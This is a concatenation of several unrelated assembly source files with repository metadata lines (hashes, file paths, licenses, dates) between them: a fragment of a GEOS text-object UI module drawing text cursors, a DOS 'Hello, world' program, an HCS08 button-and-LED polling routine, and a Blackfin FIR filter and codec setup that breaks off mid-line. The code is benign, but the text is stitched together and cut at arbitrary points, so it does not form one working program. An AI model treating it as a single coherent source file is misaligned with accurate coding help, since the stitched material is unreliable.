ds:[di].VTI_state, mask VTS_SELECTABLE jz haveSelectable ornf ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE haveSelectable: andnf ds:[di].OLTDI_specState, not mask TDSS_EDITABLE test ds:[di].VTI_state, mask VTS_EDITABLE jz haveEditable ornf ds:[di].OLTDI_specState, mask TDSS_EDITABLE haveEditable: .leave ret OLTVisTextModifyEditableSelectable endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextEndSelect %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle end select CALLED BY: MSG_META_END_SELECT PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- joon 12/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if SHORT_LONG_TOUCH OLTextEndSelect method dynamic OLTextClass, MSG_META_END_SELECT, MSG_META_LARGE_END_SELECT mov di, offset OLTextClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jnz done test ds:[di].OLTDI_moreState, mask TDSS_FOCUSABLE jz done ; If selectable, then VisText will release mouse test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jnz endTouch call VisReleaseMouse ; ~selectable, release mouse here endTouch: call EndShortLongTouch done: ret OLTextEndSelect endm endif CommonFunctional ends ;-------------------- Utils segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: SpecGetTextKbdBindings DESCRIPTION: Return a pointer to the table of keyboard bindings CALLED BY: GLOBAL PASS: none RETURN: ds:si - binding table DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/24/92 Initial version ------------------------------------------------------------------------------@ global SpecGetTextKbdBindings:far SpecGetTextKbdBindings proc far mov si, segment textKbdBindings mov ds, si mov si, offset textKbdBindings ret SpecGetTextKbdBindings endp COMMENT @---------------------------------------------------------------------- FUNCTION: SpecGetTextPointerImage DESCRIPTION: Return an optr to the pointer image for text CALLED BY: GLOBAL PASS: none RETURN: cxdx - pointer image DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/24/92 Initial version ------------------------------------------------------------------------------@ global SpecGetTextPointerImage:far SpecGetTextPointerImage proc far mov cx, handle textEditCursor mov dx, offset textEditCursor ret SpecGetTextPointerImage endp COMMENT @---------------------------------------------------------------------- FUNCTION: SpecDrawTextCursor DESCRIPTION: Draw the text cursor CALLED BY: GLOBAL PASS: *ds:si - VisText object di - gstate to draw in with: x position - in the middle of the white area between characters y position - the baseline font, text style - set for character before cursor RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/24/92 Initial version stevey 12/20/95 Jedi version ------------------------------------------------------------------------------@ global SpecDrawTextCursor:far if not GRAFFITI_TEXT_CURSORS SpecDrawTextCursor proc far uses ax, bx, cx, dx, si class VisTextClass .enter ; ; See if we should draw the cursor regardless of whether it is ; the focus or not ; mov ax, ATTR_VIS_TEXT_CURSOR_NO_FOCUS call ObjVarFindData jc drawRegardless ; ; only draw if target or focus ; mov bx, ds:[si] add bx, ds:[bx].Vis_offset test ds:[bx].VTI_intSelFlags, mask VTISF_IS_FOCUS or mask VTISF_IS_TARGET LONG jz done drawRegardless: mov al, SDM_100 call GrSetAreaMask if XOR_TEXT_CURSOR mov al, MM_XOR else mov al, MM_INVERT endif call GrSetMixMode if I_BEAM_TEXT_CURSOR push si endif if _ISUI ; instead of using GFMI_ASCENT, base ascent on GFMI_HEIGHT mov si, GFMI_HEIGHT or GFMI_ROUNDED call GrFontMetrics ;dx = height sub dx, 2 ;fudge factor mov cx, dx mov si, GFMI_DESCENT or GFMI_ROUNDED call GrFontMetrics ;dx = descent sub cx, dx ;ascent = h-2-descent else mov si, GFMI_ASCENT or GFMI_ROUNDED call GrFontMetrics ;dx = ascent mov cx, dx ;cx = ascent mov si, GFMI_DESCENT or GFMI_ROUNDED call GrFontMetrics ;dx = descent endif call GrGetCurPos ;(ax,bx) = (x,y) pos add dx, bx ;bottom = y + descent sub bx, cx ;top = y - ascent if I_BEAM_BEVEL dec dx ; adjust bounds for bevel endif mov cx, ax inc cx ;right = left + 1 if I_BEAM_TEXT_CURSOR pop si ; *ds:si = text object if I_BEAM_BEVEL add bx, I_BEAM_TEXT_CURSOR_WIDTH/2 sub dx, I_BEAM_TEXT_CURSOR_WIDTH/2 call GrFillRect sub bx, I_BEAM_TEXT_CURSOR_WIDTH/2 add dx, I_BEAM_TEXT_CURSOR_WIDTH/2 else inc bx ; make room on top for I-beam dec dx ; make room on bottom for ; I-beam call GrFillRect endif ; ; draw I-beam cursor, must make a bad hack to remove clip rect ; to allow the horizontal pieces to draw completely when at ; ends of the text object ; call GrSaveState ; save current clip rect if not I_BEAM_BEVEL ; bevel is too big to override clipping push ax, bx, cx, dx ; save cursor coords call VisGetSize ; cx = width, dx = height jcxz noClip ; no size, leave clip mov si, ds:[si] add si, ds:[si].Vis_offset sub dl, ds:[si].VTI_tbMargin sbb dh, 0 sub dl, ds:[si].VTI_tbMargin ; dx = actual height sbb dh, 0 test ds:[si].OLTDI_specState, mask TDSS_IN_VIEW mov si, PCT_NULL jnz inView ; view will clip mov ax, -1 ; as far left as possible clr bx mov si, PCT_REPLACE ; remove old clip rect inView: call GrSetClipRect noClip: pop ax, bx, cx, dx ; restore cursor coords endif sub ax, I_BEAM_TEXT_CURSOR_WIDTH/2 add cx, I_BEAM_TEXT_CURSOR_WIDTH/2 if I_BEAM_BEVEL crossBarLoop: push bx, dx endif push dx ; save bottom mov dx, bx ; bottom = top dec bx ; top-- call GrFillRect ; draw top line pop dx ; dx = bottom mov bx, dx ; top = bottom inc dx ; bottom++ call GrFillRect ; draw bottom line if I_BEAM_BEVEL pop bx, dx dec dx inc bx inc ax dec cx cmp ax, cx jl crossBarLoop endif call GrRestoreState else call GrFillRect endif ; I_BEAM_TEXT_CURSOR mov al, MM_COPY call GrSetMixMode done: .leave ret SpecDrawTextCursor endp else ; GRAFFITI_TEXT_CURSORS JEDI_CURSOR_WIDTH equ 6 SpecDrawTextCursor proc far class VisTextClass uses ax, bx, cx, dx, si, bp oldState local VisTextCursorType newState local VisTextCursorType drawPos local Rectangle selFlags local VisTextIntSelFlags textBlock local hptr .enter ; ; only draw if target or focus ; mov bx, ds:[si] add bx, ds:[bx].Vis_offset test ds:[bx].VTI_intSelFlags, mask VTISF_IS_FOCUS or mask VTISF_IS_TARGET LONG jz done mov al, ds:[bx].VTI_intSelFlags mov selFlags, al ; store for later ; ; Save block for dereferencing later. ; mov ax, ds:[LMBH_handle] mov textBlock, ax ; ; Set up gstate to do an inverted cursor. ; mov al, SDM_100 call GrSetAreaMask mov al, MM_INVERT call GrSetMixMode ; ; Get HWR lock state. If no HWR library, or locked state can't ; be found, use the normal text cursor. ; call UserGetHWRLibraryHandle tst ax ; use normal if no HWR jz setNewState mov_tr bx, ax ; bx = lib handle mov ax, HWRR_GET_LOCKED_STATE call ProcGetLibraryEntry call ProcCallFixedOrMovable ; ax = HWRLockState setNewState: ; ; Convert the HWRLockState into a VisTextCursorType and save it. ; Is there an easier way to do this? ; mov newState, VTCT_NORMAL_CURSOR ; assume normal tst al jz getDrawPos mov newState, VTCT_NUMLOCK_CURSOR test al, mask HWRLS_NUM_LOCK jnz getDrawPos mov newState, VTCT_CAPLOCK_CURSOR test al, mask HWRLS_CAP_LOCK jnz getDrawPos mov newState, VTCT_EQNLOCK_CURSOR test al, mask HWRLS_EQN_LOCK jnz getDrawPos mov newState, VTCT_NORMAL_CURSOR ; error => use normal getDrawPos: ; ; Set up oldState variable. ; call GetPreviousCursor ; also sets vardata ; ; Get position at which to draw. ; mov si, GFMI_ASCENT or GFMI_ROUNDED call GrFontMetrics ; dx = ascent mov cx, dx ; cx = ascent mov si, GFMI_DESCENT or GFMI_ROUNDED call GrFontMetrics ; dx = descent add dx, cx ; width = ascent+descent call GrGetCurPos ; (ax, bx) = (x, y) pos sub bx, cx ; top = y - ascent sub ax, (JEDI_CURSOR_WIDTH/2) ; center around x pos if 1 ; ; Don't let ax get negative; the cursor disappears. This hack ; can remain in place until someone figures out how to make the ; cursor draw outside the bounds of the passed gstate. ; cmp ax, -1 jge gotCoords mov ax, -1 ; OK, maybe a little... gotCoords: endif mov drawPos.R_left, ax mov drawPos.R_top, bx ; ; Set up the bitmap segment. ; mov bx, handle DrawBWRegions call MemLock mov ds, ax ; ; if we're turning ON: ; draw new cursor no matter what ; if we're turning OFF: ; if state has changed, draw old cursor, ; else draw new cursor ; mov bx, newState test selFlags, mask VTISF_CURSOR_ON ; set if turning ON jnz drawCursor ; ; We only need to erase the old one if the state has changed. ; mov ax, newState cmp ax, oldState je drawCursor ; hasn't changed mov bx, oldState drawCursor: ; ; The parameters passed to GrDrawRegion are height & width, ; not right & bottom absolute coordinates. ; mov si, offset graffitiCursorTable mov si, ds:[si][bx] ; si = region offset mov ax, drawPos.R_left mov bx, drawPos.R_top mov cx, JEDI_CURSOR_WIDTH ; fixed width 4 now call GrDrawRegion ; ; Clean up. ; mov bx, handle DrawBWRegions call MemUnlock mov al, MM_COPY call GrSetMixMode mov bx, textBlock call MemDerefDS done: .leave ret SpecDrawTextCursor endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetPreviousCursor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the old cursor, and if necessary, set the new one. CALLED BY: SpecDrawTextCursor (GRAFFITI_TEXT_CURSORS version) PASS: ss:bp = SpecDrawTextCursor stack frame *ds:si = VisTextInstance ss:newState must be initialized RETURN: nothing DESTROYED: nothing SIDE EFFECTS: sets ss:oldState may add or remove vardata PSEUDO CODE/STRATEGY: if no cursor vardata exists, oldState = VTCS_NORMAL_CURSOR, otherwise read it from the vardata if newState differs from oldState, set vardata to reflect new state. Note: we remove the vardata when we've got a normal cursor, rather than keeping it around, primarily to save space under normal circumstances. REVISION HISTORY: Name Date Description ---- ---- ----------- stevey 1/ 3/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetPreviousCursor proc near uses ax,bx .enter inherit SpecDrawTextCursor ; ; Check for vardata. ; mov ax, TEMP_VIS_TEXT_CURSOR_TYPE call ObjVarFindData ; carry set if found mov ax, VTCT_NORMAL_CURSOR jnc normal ; ; Read type from varData ; mov ax, ds:[bx] EC < cmp ax, VisTextCursorType > EC < ERROR_AE -1 ; argh! > normal: ; ; Store in oldState. See if oldState differs from newState. ; mov oldState, ax cmp newState, ax je exit ; no different; we're done ; ; newState is different: change vardata on object. ; cmp newState, VTCT_NORMAL_CURSOR mov ax, TEMP_VIS_TEXT_CURSOR_TYPE je removeData mov cx, size word call ObjVarAddData ; will use existing vardata mov ax, newState mov {word}ds:[bx], ax jmp exit removeData: call ObjVarDeleteData exit: .leave ret GetPreviousCursor endp Utils ends DrawBWRegions segment resource ; ; The regions look like this: ; ; Alex- Steve- ; Normal NumLock EqnLock CAPS EqnLock ; ; ..###. ###### ###### ...... ...### ; ..###. ###.## ###### ...... ..##.. ; ..###. ##..## ...... ...... ..##.. ; ..###. #...## #.###. ...... ..##.. ; ..###. ##..## ##.### ...... ..##.. ; ..###. ##..## ###.## ..##.. ..##.. ; ..###. ##..## ####.# ..##.. ..##.. ; ..###. ##..## ####.# ..##.. ..##.. ; ..###. ##..## ###.## .####. ..##.. ; ..###. ##..## ##.### .####. ..##.. ; ..###. ##..## #.###. .####. ..##.. ; ..###. ##..## ...... ###### ..##.. ; ..###. #....# ###### ###### ..##.. ; ..###. ###### ###### ###### ###... ; ; New cursor definitions... (sigh) ; ; +------+ +------+ +------+ +------+ ; |..###.| |######| |######| |..##..| ; |..###.| |###.##| |###...| |.####.| ; |..###.| |#...##| |##..##| |######| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |##..##| |##..##| |..##..| ; |..###.| |#....#| |...###| |.####.| ; |..###.| |######| |######| |######| ; +------+ +------+ +------+ +------+ ; ; PARAM_2 is specified in the region definitions, instead of a fixed ; width, in case someone decides to make them variable-width or whatever. ; We could just as easily have used JEDI_CURSOR_WIDTH-1, etc. ; graffitiCursorTable nptr \ offset NormalCursor, ; VTCT_NORMAL_CURSOR offset CapsCursor, ; VTCT_CAPLOCK_CURSOR offset NumberCursor, ; VTCT_NUMLOCK_CURSOR offset EqLockCursor ; VTCT_EQNLOCK_CURSOR NormalCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 ; left, top, right, bottom word PARAM_3-1, 2, PARAM_2-2, EOREGREC word EOREGREC NumberCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 ; left, top, right, bottom word 0, 0, PARAM_2-1, EOREGREC word 1, 0, 2, 4, PARAM_2-1, EOREGREC word 2, 0, 1, 4, PARAM_2-1, EOREGREC word 3, 0, 0, 4, PARAM_2-1, EOREGREC word PARAM_3-3, 0, 1, 4, PARAM_2-1, EOREGREC word PARAM_3-2, 0, 0, 5, PARAM_2-1, EOREGREC word PARAM_3-1, 0, PARAM_2-1, EOREGREC word EOREGREC if 0 ; ; This is a pointer like the one in the Omnigo 100's annunciator area. ; CapsCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 ; left, top, right, bottom word 4, EOREGREC word 7, 2, 3, EOREGREC word 10, 1, PARAM_2-2, EOREGREC word PARAM_3-1, 0, PARAM_2-1, EOREGREC word EOREGREC else ; ; This is an "up-arrow". ; CapsCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 ; left, top, right, bottom word 0, 2, 3, EOREGREC word 1, 1, 4, EOREGREC word 2, 0, 5, EOREGREC word PARAM_3-3, 2, 3, EOREGREC word PARAM_3-2, 1, 4, EOREGREC word PARAM_3-1, 0, 5, EOREGREC word EOREGREC endif if 0 ; ; This is the non-inverted integral sign. ; EqLockCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 word 0, 3, PARAM_2-1, EOREGREC word PARAM_3-2, 2, 3, EOREGREC word PARAM_3-1, 0, 2, EOREGREC word EOREGREC DrawBWRegions ends else ; ; This is the inverted integral sign. ; EqLockCursor label Region word 0, 0, PARAM_2-1, PARAM_3-1 word 0, 0, 5, EOREGREC word 1, 0, 2, EOREGREC word PARAM_3-3, 0, 1, 4, 5, EOREGREC word PARAM_3-2, 3, 5, EOREGREC word PARAM_3-1, 0, 5, EOREGREC word EOREGREC DrawBWRegions ends endif Utils segment resource endif ; GRAFFITI_TEXT_CURSORS Utils ends ;--------------------------------- GadgetCommon segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextSetHWRContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets the HWR context for the text object based on where the object is on screen. CALLED BY: GLOBAL PASS: *ds:si - OLText object RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 10/21/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextSetHWRContext method OLTextClass, MSG_VIS_TEXT_SET_HWR_CONTEXT context local HWRContext libHandle local hptr .enter ; If this is a one-line text edit object, get the bounds of the ; reference lines and pass them to the object. mov di, ds:[si] add di, ds:[di].VisText_offset test ds:[di].VTI_state, mask VTS_ONE_LINE je exit call UserGetHWRLibraryHandle mov libHandle, ax call VisQueryWindow call VisGetBounds call WinTransform mov context.HWRC_boxed.HWRBD_mode, HM_BOX mov context.HWRC_boxed.HWRBD_top, bx mov bx, dx call WinTransform mov context.HWRC_boxed.HWRBD_bottom, bx lea di, context pushdw ssdi mov ax, HWRR_SET_CONTEXT mov bx, libHandle call ProcGetLibraryEntry call ProcCallFixedOrMovable exit: .leave ret OLTextSetHWRContext endp GadgetCommon ends ActionObscure segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLTextSetIndeterminateState -- MSG_GEN_TEXT_SET_INDETERMINATE_STATE for OLTextClass DESCRIPTION: Specific UI handler for setting indeterminate state. We revert the text object to drawing in a 50% pattern if indeterminate. This *should* only get called if there were an actual change in the indeterminate state. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_TEXT_SET_INDETERMINATE_STATE cx - flag for indeterminate state RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 7/22/92 Initial Version ------------------------------------------------------------------------------@ OLTextSetIndeterminateState method dynamic OLTextClass, \ MSG_GEN_TEXT_SET_INDETERMINATE_STATE ; ; Set the 50-pct flag as appropriate. ; tst cx mov cx, mask VTF_USE_50_PCT_TEXT_MASK ;bit to set mov dx, 0 ;bit to clear jnz 10$ ;indeterminate, set bit xchg cx, dx ;Not! Clear bit 10$: not dx and ds:[di].VTI_features, dx or ds:[di].VTI_features, cx mov ax, MSG_VIS_TEXT_RECALC_AND_DRAW call ObjCallInstanceNoLock ; ; We'll set the text object clean, so we can mark it not indeterminate ; on the next text change. The modified state has not been changed, ; so the set-clean shouldn't cause any problems. ; mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED call ObjCallInstanceNoLock ret OLTextSetIndeterminateState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextGetActivatorBounds -- MSG_META_GET_ACTIVATOR_BOUNDS for OLTextClass %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Gets bounds of activator. PASS: *ds:si - instance data es - segment of OLTextClass ax - MSG_META_GET_ACTIVATOR_BOUNDS RETURN: carry set if an activating object found ax, bp, cx, dx - screen bounds of object ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 8/24/94 Initial Version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if BUBBLE_DIALOGS OLTextGetActivatorBounds method dynamic OLTextClass, \ MSG_META_GET_ACTIVATOR_BOUNDS .enter mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock ;BP <- GState handle mov di, bp call VisGetBounds ;AX <- left edge of the object mov dx, bx call GetTextObjectLineHeight ;BX <- height of text object lines shr bx, 1 add bx, dx ;BX <- middle of first line of object ; ; We're going to make sure that this point is within the visible ; bounds of the window we are in. If it isn't, then return carry ; clear which indicates that "the activator object couldn't be found". ; call CheckIfPointInWinBounds jnc done call GrTransform ;Transform AX,BX to screen coords call GrDestroyState mov cx, ax ;AX,CX <- left edge of obj mov bp, bx ;BP,DX <- middle of obj vertically mov dx, bx ; ; If we're in a composite, pass the left edge as the left edge of ; the composite. It's an important distinction, for showing the ; window whether we're completely underneath it or not. ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_COMPOSITE jz notInComp call VisFindParent EC < tst si > EC < ERROR_Z OL_ERROR > mov di, ds:[si] add di, ds:[di].Vis_offset mov ax, ds:[di].VI_bounds.R_left notInComp: stc ;found an object. done: .leave ret OLTextGetActivatorBounds endm endif ActionObscure ends
25.670315
86
0.63097
4ed852c4d92557d33c85aec6b663a4af7b14545a
171
asm
Assembly
src/app/hello.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
7
2017-01-11T17:13:10.000Z
2022-02-17T06:40:50.000Z
src/app/hello.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
null
null
null
src/app/hello.asm
neri/osz
d1766e2f5daabd5914a80b838c0219f330a0d0af
[ "MIT" ]
1
2019-06-24T09:49:43.000Z
2019-06-24T09:49:43.000Z
; Hello World for OSZ/DOS ; WTFPL/PUBLIC DOMAIN [bits 16] [org 0x0100] xor bp, bp mov ah, 9 mov dx, hello_msg int 0x21 ret hello_msg db "Hello, world!", 13, 10, "$"
14.25
41
0.660819
6493a671b1668d07522282e31710c02a9688f5be
2,981
asm
Assembly
CV08/Sources/main.asm
JiriS97/BMIC-Projects
6dab7852f57f899751241afe5eed1ee7ec9e39ed
[ "MIT" ]
null
null
null
CV08/Sources/main.asm
JiriS97/BMIC-Projects
6dab7852f57f899751241afe5eed1ee7ec9e39ed
[ "MIT" ]
null
null
null
CV08/Sources/main.asm
JiriS97/BMIC-Projects
6dab7852f57f899751241afe5eed1ee7ec9e39ed
[ "MIT" ]
null
null
null
; The MIT License (MIT) ; ; Copyright (c) 2018 Jiri Sramek (https://github.com/JiriS97/) ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN ; THE SOFTWARE. ; This project uses two buttons to toggle state of two leds using polling method ; Include derivative-specific definitions INCLUDE 'derivative.inc' ; ; export symbols ; XDEF _Startup ABSENTRY _Startup ; ; variable/data section ; ORG RAMStart ; Insert your data definition here ExampleVar: DS.B 1 ; ; code section ; ORG ROMStart _Startup: LDHX #RAMEnd+1 ; initialize the stack pointer TXS CLI ; enable interrupts LDA #(mPTCDD_PTCDD5 | mPTCDD_PTCDD4) ;led pins as output PTCDD5,4 - 1 STA PTCDD LDA #mPTAPE_PTAPE4 ;pullup enable PTA4 STA PTAPE mainLoop: feed_watchdog BRCLR PTCD_PTCD7, PTCD, btn_down1 ;check PTC7 = low ? BSET PTCD_PTCD5, PTCD ;PTC5 -> 1 LED off BRA btnCheck2 btn_down1: BCLR PTCD_PTCD5, PTCD ;PTC5 -> 0 LED on btnCheck2: BRCLR PTAD_PTAD4, PTAD, btn_down2 ;check PTA4 = low ? BSET PTCD_PTCD4, PTCD ;PTC4 -> 1 LED off BRA btnCheck2 btn_down2: BCLR PTCD_PTCD4, PTCD ;PTC4 -> 0 LED on ;************************************************************** ;* spurious - Spurious Interrupt Service Routine. * ;* (unwanted interrupt) * ;************************************************************** spurious: ; placed here so that security value NOP ; does not change all the time. RTI ;************************************************************** ;* Interrupt Vectors * ;************************************************************** ORG $FFFA DC.W spurious ; DC.W spurious ; SWI DC.W _Startup ; Reset
32.758242
80
0.590741
159d84d82b361b228b7071967f5eaa985481013b
6,209
asm
Assembly
filter1.asm
PsiPhiTheta/Digital-Signal-Processing
3ddcac239ebecaffebc5ebf5928292920ac561ef
[ "MIT" ]
null
null
null
filter1.asm
PsiPhiTheta/Digital-Signal-Processing
3ddcac239ebecaffebc5ebf5928292920ac561ef
[ "MIT" ]
null
null
null
filter1.asm
PsiPhiTheta/Digital-Signal-Processing
3ddcac239ebecaffebc5ebf5928292920ac561ef
[ "MIT" ]
null
null
null
//Author: Patrick Gaydecki & PsiPhiTheta .section L1_data_b; // Linker places data starting at 0x11900000 // **** INSERT CODE HERE **** .BYTE2 filter[]= "2kBandPass.txt"; // [INSERTED] Imports the (16-bit) 2k BandPass filter coeficient file .section program; .global _main; .align 4; # include <defBF706.h> _main: call codec_configure; call sport_configure; P0=length(filter)*2; // Set up circular buffers // **** INSERT CODE HERE **** I0=0x11800000;B0=I0;L0=P0; // [INSERTED] Circular buffer initialised for input data (Base register, Index register, Length register & Pointer register) I1=0x11900000;B1=I1;L1=P0; // [INSERTED] Circular buffer initialised for filter coefficients (Base register, Index register, Length register & Pointer register) P0=length(filter)-1; // [INSERTED] Pointer register P0 is now intialised to hold the number of filter coeficients as defined in line 12 (i.e. k-1 iterations) get_audio: wait_left: // Wait for left data then read R0=[REG_SPORT0_CTL_B]; CC=BITTST(R0, 31); if !CC jump wait_left; R0=[REG_SPORT0_RXPRI_B]; // Convolution kernel // **** INSERT CODE HERE **** A0 = 0 || W[I0++]= R0.H || R1.H = W[I1++]; // [INSERTED] Acculumator register A0 initialised to 0 (cleared), Input audio data in R0.H fed into circular buffer I0 initialised before (16-bit), Filter coeficients in index register I0 are fed into R1.H (16-bit) then post-increments both for the next instruction. (exploits parallelism) LOOP LC0 = P0; // [INSERTED] Start of convolution loop containing loop counter register LC0, controlled by condition in pointer register P0 (i.e. filter length-1 iterations) A0 += R0.H * R1.H || R0.H = W[I0++] || R1.H = W[I1++]; // [INSERTED] Filter left by multiplying current input audio data in R0.H by current filter coeficients in R1.H via a 16-bit multiply into a 32-bit accumlator register A0. Then increments both I0 and I1 for the next multiplication. This shifted multiply accumulate (MAC) is the heart of convolution. (exploits parallelism) LOOP_END; // [INSERTED] End of convolution loop A0 += R0.H * R1.H || I0-=2; // [INSERTED] 16-bit multiplies the final values of input audio data in R0.H and filter coeficients in R1.H into 32-bit accumulator register A0. In addition, post-decrements the I0 register by two bites (i.e. 16-bit word) in order to ensure that the next value from the codec overwrites the oldest value, not the previously most recently acquired. (exploits parallelism) //Write left out R0=A0; [REG_SPORT0_TXPRI_A]=R0; wait_right: // Wait for right data then read R0=[REG_SPORT0_CTL_B]; CC=BITTST(R0, 31); if !CC jump wait_right; R0=[REG_SPORT0_RXPRI_B]; //Write right out [REG_SPORT0_TXPRI_A]=R0; jump get_audio; rts; ._main.end: // Function codec_configure initialises the ADAU1761 codec. Refer to the control register // descriptions, page 51 onwards of the ADAU1761 data sheet. codec_configure: [--SP] = RETS; // Push stack (only for nested calls) R1=0x01(X); R0=0x4000(X); call TWI_write; // Enable master clock, disable PLL R1=0x7f(X); R0=0x40f9(X); call TWI_write; // Enable all clocks R1=0x03(X); R0=0x40fa(X); call TWI_write; // Enable all clocks R1=0x01(X); R0=0x4015(X); call TWI_write; // Set serial port master mode R1=0x13(X); R0=0x4019(X); call TWI_write; // Set ADC to on, both channels R1=0x21(X); R0=0x401c(X); call TWI_write; // Enable left channel mixer R1=0x41(X); R0=0x401e(X); call TWI_write; // Enable right channel mixer R1=0x03(X); R0=0x4029(X); call TWI_write; // Turn on power, both channels R1=0x03(X); R0=0x402a(X); call TWI_write; // Set both DACs on R1=0x01(X); R0=0x40f2(X); call TWI_write; // DAC gets L, R input from serial port R1=0x01(X); R0=0x40f3(X); call TWI_write; // ADC sends L, R input to serial port R1=0x0b(X); R0=0x400a(X); call TWI_write; // Set left line-in gain to 0 dB R1=0x0b(X); R0=0x400c(X); call TWI_write; // Set right line-in gain to 0 dB R1=0xe7(X); R0=0x4023(X); call TWI_write; // Set left headphone volume to 0 dB R1=0xe7(X); R0=0x4024(X); call TWI_write; // Set right headphone volume to 0 dB R1=0x00(X); R0=0x4017(X); call TWI_write; // Set codec default sample rate, 48 kHz NOP; RETS = [SP++]; // Pop stack (only for nested calls) RTS; codec_configure.end: // Function sport_configure initialises the SPORT0. Refer to pages 26-59, 26-67, // 26-75 and 26-76 of the ADSP-BF70x Blackfin+ Processor Hardware Reference manual. sport_configure: R0=0x3F0(X); [REG_PORTC_FER]=R0; // Set up Port C in peripheral mode R0=0x3F0(X); [REG_PORTC_FER_SET]=R0; // Set up Port C in peripheral mode R0=0x2001973; [REG_SPORT0_CTL_A]=R0; // Set up SPORT0 (A) as TX to codec, 24 bits R0=0x0400001; [REG_SPORT0_DIV_A]=R0; // 64 